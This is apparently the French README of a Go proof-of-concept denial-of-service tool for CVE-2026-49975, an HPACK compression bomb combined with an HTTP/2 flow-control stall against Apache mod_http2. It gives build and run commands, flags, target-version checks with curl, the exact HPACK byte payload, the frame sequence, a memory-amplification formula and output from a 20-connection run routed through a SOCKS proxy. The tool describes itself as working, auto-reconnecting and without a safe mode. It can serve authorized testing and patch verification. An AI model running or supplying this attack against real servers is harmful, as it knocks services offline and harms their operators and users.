
PoC de recherche en sécurité pour CVE-2026-49975 : bombe de compression HTTP/2 HPACK + DoS par blocage du contrôle de flux dans Apache mod_http2
PoC de recherche en sécurité par naheeju
⚠️ Il s'agit d'un outil DoS fonctionnel d'épuisement de mémoire — pas un jouet. Il ouvre des flux qui forcent la cible à allouer de la mémoire et les maintient ouverts via des astuces de contrôle de flux HTTP/2. Tant que le processus est en cours d'exécution, il continue de maintenir et se reconnecte automatiquement si le serveur coupe la connexion — il ne s'arrête pas de lui-même. L'impact évolue directement avec
--threads, et . L'arrêt du processus (Ctrl+C) libère les flux maintenus et permet au serveur de récupérer, mais rien dans le fonctionnement par défaut n'est « doux » — considérez chaque exécution comme un test à feu réel.
--streams--headersCVE-2026-49975 (« HTTP/2 Bomb ») est une vulnérabilité de déni de service distante et non authentifiée affectant le module mod_http2 du serveur HTTP Apache. Elle enchaîne deux faiblesses HTTP/2 connues de longue date :
Cookie sans qu'ils soient comptabilisés par rapport à LimitRequestFields, forçant le serveur à allouer de la mémoire de manière répétée pour ses structures internes de comptabilité d'en-têtes.Le résultat : un seul client sur une connexion modeste peut forcer une allocation mémoire importante et soutenue sur la cible aussi longtemps que le flux est maintenu ouvert. Cette implémentation prend en charge deux modes de charge utile et évolue linéairement avec la concurrence que vous configurez :
nginx — plante un en-tête x-bomb vide dans la table dynamique HPACK et le référence de manière répétée (~70:1 d'amplification par référence).classic — plante à la place un en-tête cookie surdimensionné (~4000:1 d'amplification par référence).Chaque connexion référence à nouveau l'en-tête planté des milliers de fois par flux (--headers, par défaut 5000), sur plusieurs flux par connexion (--streams, par défaut 10) et plusieurs connexions parallèles (--threads, par défaut 1). Si le serveur ferme une connexion, l'outil se reconnecte immédiatement et continue jusqu'à l'arrêt manuel — il s'agit d'une boucle de maintien continu, pas d'une sonde ponctuelle unique.
Identifiants associés pour d'autres piles affectées (non implémentés ni testés par ce dépôt) :
CVE-2026-47774Portée complète de la classe de faiblesse sous-jacente, par souci d'exhaustivité — la technique « HTTP/2 Bomb » (bombe de compression HPACK + maintien de contrôle de flux) affecte plusieurs implémentations de serveurs au-delà d'Apache. Ce dépôt n'implémente et ne teste que le cas Apache ; le reste est inclus pour que les lecteurs comprennent la classe plus large, et non parce que ce PoC les exerce :
| Implémentation | Statut | Implémenté dans ce PoC ? |
|---|---|---|
Apache HTTP Server mod_http2 | Corrigé dans httpd 2.4.68 (2026-06-08) | Oui — ce dépôt |
| nginx | Corrigé dans 1.29.8 | Non |
| Envoy | Suivi séparément | Non |
| Microsoft IIS | Suivi séparément | Non |
| Cloudflare Pingora | Suivi séparément | Non |
| CVE | CVE-2026-49975 |
| CWE | CWE-789 (Memory Allocation with Excessive Size Value, selon NVD/CVE.org) ; également suivi comme CWE-409 (Improper Handling of Highly Compressed Data) par certains éditeurs |
| CVSS | 7.5 (Élevé) — CVSS v3.1, vecteur de disponibilité uniquement (selon NVD). L'avis d'Apache le classe quant à lui comme Modéré. |
| Composant affecté | Apache HTTP Server mod_http2 |
| Versions vulnérables | Apache httpd 2.4.17 ≤ version ≤ 2.4.67 (configuration HTTP/2 par défaut) |
| Corrigé dans | Apache HTTP Server 2.4.68 (publié le 2026-06-08). Le correctif sous-jacent a été intégré en amont dans mod_h2 le 2026-05-27, fusionné dans la branche httpd 2.4.x le 2026-06-02, livré dans la version 2.4.68. |
| Type d'attaque | Déni de service — épuisement de mémoire (disponibilité uniquement) |
| Authentification requise | Non |
| Exposition de données / RCE | Aucune — impact sur la disponibilité uniquement |
| Exploitation connue | Actuellement non signalé comme exploité dans la nature par les sources suivies. |
Références (sources primaires — vérifiez toutes les affirmations de manière indépendante) :
Ce dépôt contient :
Ce dépôt ne contient pas :
Lisez ceci avant toute autre chose.
En téléchargeant, clonant ou exécutant tout code de ce dépôt, vous acceptez d'être seul responsable de vous assurer que vous disposez de l'autorisation appropriée, et vous acceptez l'entière responsabilité légale de votre utilisation de celui-ci.
CVE-2026-49975 ne s'applique qu'à une cible qui satisfait les deux critères de la Section 1 — joignable via HTTP/2 et exécutant une version de mod_http2 vulnérable et dans la plage (2.4.17 ≤ version ≤ 2.4.67, configuration par défaut). Un simple curl -vkI contre le port HTTPS de la cible suffit pour vérifier les deux — aucun scanner ni option supplémentaire nécessaire :
curl -vkI https://<target>
Ce qu'il faut rechercher dans la sortie :
ALPN: server accepted h2 — le serveur a négocié HTTP/2 pour cette connexion. C'est la condition préalable à CVE-2026-49975, puisque le bug réside dans mod_http2 ; un serveur qui n'a jamais accepté h2 ici n'est pas un candidat.Server (visible une fois que les en-têtes de réponse HEAD s'affichent, plus bas dans la sortie -v) — c'est ce qui confirme ou exclut la version réelle d'Apache/mod_http2 par rapport à la plage vulnérable de la Section 1. L'acceptation ALPN seule ne confirme pas la version — cela nécessite toujours l'en-tête Server ou une vérification de bannière équivalente.Rien d'autre n'est utilisé pour la reconnaissance dans ce dépôt — pas de trafic d'exploitation actif, pas de scanners de vulnérabilités, pas de balayages de ports.
cve202649975)golang.org/x/net v0.59.0 (résolu automatiquement via go build)443, TLS/h2 par défaut ; --no-ssl pour h2c en clair)proxychains4, il détecte le wrapper LD_PRELOAD, lit le même proxychains4.conf, et route ses propres connexions à travers ce proxy SOCKS5 (résolution DNS distante) — utile lorsqu'un périmètre de mission exige de tester depuis un chemin de sortie spécifiqueChronologie publique de CVE-2026-49975 lui-même : signalé à Apache le 2026-05-26 ; correctif intégré en amont dans
mod_h2le 2026-05-27 ; fusionné dans la branche httpd 2.4.x le 2026-06-02 ; Apache HTTP Server 2.4.68 publié le 2026-06-08.
N'exécutez ceci que contre une cible que vous êtes explicitement autorisé à tester. Il n'y a pas de limite de durée intégrée ni de mode sûr — vous êtes responsable de la durée d'exécution et de la concurrence.
Compilation :
go build -o dos ./cmd
# or: sudo install -m 0755 dos /usr/local/bin/dos (see build.sh)
Exécution :
./dos <target> <port> [flags]
| Option | Défaut | Description |
|---|---|---|
--threads N | 1 | Connexions parallèles |
--streams N | 10 | Flux ouverts par connexion |
--headers N | 5000 | Références à la table dynamique HPACK par flux (moteur d'amplification) |
--mode nginx|classic | nginx | nginx = bombe de comptabilité à en-tête vide (~70:1) ; classic = bombe à cookie gras (~4000:1, correspond au mécanisme de fusion de Cookie de mod_http2 d'Apache pour lequel ce CVE est suivi) |
--no-ssl | désactivé | Utiliser h2c en clair au lieu de TLS |
Exemple, test de laboratoire autorisé minimal :
./dos lab-target.internal 443 --threads 1 --streams 5 --headers 1000 --mode nginx
Comportement à attendre :
WINDOW_UPDATE de 1 octet et des pings périodiques ; se reconnecte automatiquement et répète si le serveur ferme la connexion.Ctrl+C / SIGTERM — planifiez votre fenêtre de test en conséquence et surveillez la mémoire de la cible en temps réel.--streams/--headers faibles avant tout test de production autorisé, et ayez un plan de retour arrière/redémarrage pour le service cible prêt dans tous les cas.Formule approximative de la mémoire côté serveur pour les deux modes de cet outil (Apache mod_http2 uniquement — voir la Section 1 pour la correspondance entre nginx/classic et le ratio d'amplification) :
total_streams = threads × streams
server_ram_MB ≈ total_streams × headers × amplification_bytes / 1024²
# nginx mode (~70 bytes/ref), defaults (threads=1, streams=10, headers=5000):
# 1 × 10 × 5000 × 70 / 1024² ≈ 3.3 MB held
# classic mode (~4000 bytes/ref), defaults:
# 1 × 10 × 5000 × 4000 / 1024² ≈ 190 MB held
Augmentez threads/streams/headers et le nombre croît linéairement — c'est pourquoi un test de laboratoire autorisé doit commencer bas (voir Section 7) avant toute exécution en périmètre de production.
Ceci documente le mécanisme que ce PoC spécifique implémente contre Apache mod_http2 — cela ne s'étend pas aux autres implémentations de serveurs, qui sont hors périmètre pour ce dépôt (voir Section 2).
Amorce de la table dynamique HPACK (indexation incrémentale, ajoute une entrée à l'index 62) :
0x40 | name_len | name | value_len | value
= 0x40 0x06 "x-bomb" 0x00 (nginx-mode seed: empty value)
Référence indexée à cette entrée (1 octet chacune, répétée --headers fois) :
0x80 | 62 = 0xbe
Séquence de trames HTTP/2 par connexion :
Client → Server:
PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n (connection preface)
SETTINGS [INITIAL_WINDOW_SIZE=0] (flow-control stall setup)
SETTINGS ACK (after reading server SETTINGS)
HEADERS [stream 1] ← HPACK bomb payload
HEADERS [stream 3] ← HPACK bomb payload
... (up to --streams per connection)
WINDOW_UPDATE(1) per stream, periodically (keeps the stall alive)
Le coût sur le réseau est faible et majoritairement fixe par flux (une poignée d'octets pour l'amorce + 1 octet par référence) ; c'est l'allocation côté serveur qui croît de manière disproportionnée — cet écart est la vulnérabilité.
Sortie d'une exécution de laboratoire autorisée, mode classic, 20 connexions × 30 flux/connexion, 5000 références HPACK/flux, routée via proxychains :
proxychains4 dos domain.com 443 --mode classic --threads 20 --streams 30 --headers 5000
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
██╗ ██╗██████╗ ██████╗ ██████╗ ███╗ ███╗██████╗
██║ ██║╚════██╗ ██╔══██╗██╔═══██╗████╗ ████║██╔══██╗
███████║ █████╔╝ ██████╔╝██║ ██║██╔████╔██║██████╔╝
██╔══██║██╔═══╝ ██╔══██╗██║ ██║██║╚██╔╝██║██╔══██╗
██║ ██║███████╗ ██████╔╝╚██████╔╝██║ ╚═╝ ██║██████╔╝
╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═════╝
CVE-2026-49975 — HTTP/2 Bomb PoC (HPACK bomb + flow-control hold)
Go PoC by naheeju · originally discovered by Calif.IO · authorized testing only
──────────────────────────────────────────────────────────────────
Run configuration
Target domain.com:443
Mode classic (~4000:1 amplification)
Connections 20
Streams/conn 30
Total streams 600
HPACK refs/str 5000
Est. server RAM ~11444 MB
Proxychains yes — SOCKS5 127.0.0.1:9050 (remote DNS, no leak)
──────────────────────────────────────────────────────────────────
[~] Opening connection #1...
...
[+] 30 streams open | ~572 MB pinned on server | holding...
[+] 30 streams open | ~572 MB pinned on server | holding...
... (one line per connection as it finishes opening its 30 streams)
Chaque connexion rapporte indépendamment sa propre contribution RAM locale au fur et à mesure qu'elle ouvre des flux (~572 MB par connexion à ces réglages) ; le chiffre pré-vol Est. server RAM est l'agrégat sur les 20 connexions (~11,4 GB) une fois que chaque connexion est entièrement ouverte et maintenue.
domain.comci-dessus est un espace réservé — remplacez-le par votre cible autorisée réelle lorsque vous documentez votre propre exécution, et masquez-le si la mission est confidentielle.
LimitRequestFields de manière conservatrice et surveiller le comportement de fusion des en-têtes.Découverte et divulgation originales de la vulnérabilité à Apache (sans lien avec ce dépôt ou son auteur) :
Ce dépôt (réimplémentation en Go, écrite et testée après la publication du correctif public) :
Questions, corrections, ou préoccupations liées à la divulgation responsable concernant ce PoC spécifique : ouvrez une issue sur ce dépôt.
Licence : MIT (code de ce dépôt uniquement — voir LICENSE). Ne s'étend pas aux découvreurs originaux ni à l'Apache Software Foundation, et n'implique aucun aval de leur part.